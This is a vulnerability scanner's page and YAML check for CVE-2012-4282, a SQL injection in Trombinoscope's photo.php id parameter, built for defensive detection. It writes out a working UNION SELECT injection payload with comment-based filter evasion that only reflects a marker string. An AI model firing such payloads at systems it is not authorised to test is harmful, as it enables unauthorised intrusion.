Trombinoscope — 1 vulnerability check
noctis ships 1 vulnerability check for Trombinoscope, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Trombinoscope <= 3.5 SQL Injection (id parameter)
| CVE | CVE-2012-4282 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/trombinoscope/CVE-2012-4282.yaml |
Detects CVE-2012-4282 by sending a UNION SELECT payload to the Trombinoscope photo.php `id` parameter and confirming the reflected SQL-Injection-Test marker in the HTTP response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /photo.php?id=-9999/**/union/**/select/**/1,2,0x53514c2d496e6a656374696f6e2d54657374-… - Checks
resp.bannerfor<title>Trombinoscope - Checks
resp.bannerforSQL-Injection-Test→ finding QoD 75: Trombinoscope SQLi confirmed — UNION SELECT payload on the photo.php id parameter reflected the SQL-Injection-Test marker at …:…
References:
Feed source — tests/vulnerabilities/trombinoscope/CVE-2012-4282.yaml
# Trombinoscope <= 3.5 — SQL Injection (CVE-2012-4282)
#
# Trombinoscope fails to sanitize the `id` parameter of photo.php before using
# it in an SQL query. An unauthenticated attacker injects a UNION SELECT (with
# inline-comment /**/ whitespace evasion) that reflects a marker string drawn
# from a hex literal into the response, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_trombinoscope_53398.nasl
# (GPL-2.0-only). Payload/marker preserved faithfully from the source plugin.
#
# The payload carries hex/comment tokens that reqwest would normalise, so the
# request is sent verbatim over tcp_connect (HTTP/1.0) and the reflected marker
# is matched on resp.banner. As in the NASL, the finding is additionally gated
# on the `<title>Trombinoscope` application fingerprint in the response.
#
# The NASL probes /trombi plus the http_cgi_dirs; this feed probes the web root
# (/) only, which covers the default install layout.
uid: 507fc6a2-3780-4f66-b686-c29ba6271b65
name: "Trombinoscope <= 3.5 SQL Injection (id parameter)"
description: |
Detects CVE-2012-4282 by sending a UNION SELECT payload to the Trombinoscope photo.php
`id` parameter and confirming the reflected SQL-Injection-Test marker in the HTTP
response.
cves: [CVE-2012-4282]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [trombinoscope, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-4282"
- "OpenVAS/Greenbone NASL 2012/gb_trombinoscope_53398.nasl (GPL-2.0-only)"
steps:
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /photo.php?id=-9999/**/union/**/select/**/1,2,0x53514c2d496e6a656374696f6e2d54657374-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
- id: confirm-fingerprint
action: match
source: resp.banner
pattern: "<title>Trombinoscope"
on_match:
set_vars:
is_trombinoscope: true
- id: confirm-sqli
action: match
source: resp.banner
pattern: "SQL-Injection-Test"
condition: "is_trombinoscope == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Trombinoscope SQLi confirmed — UNION SELECT payload on the photo.php id parameter reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}"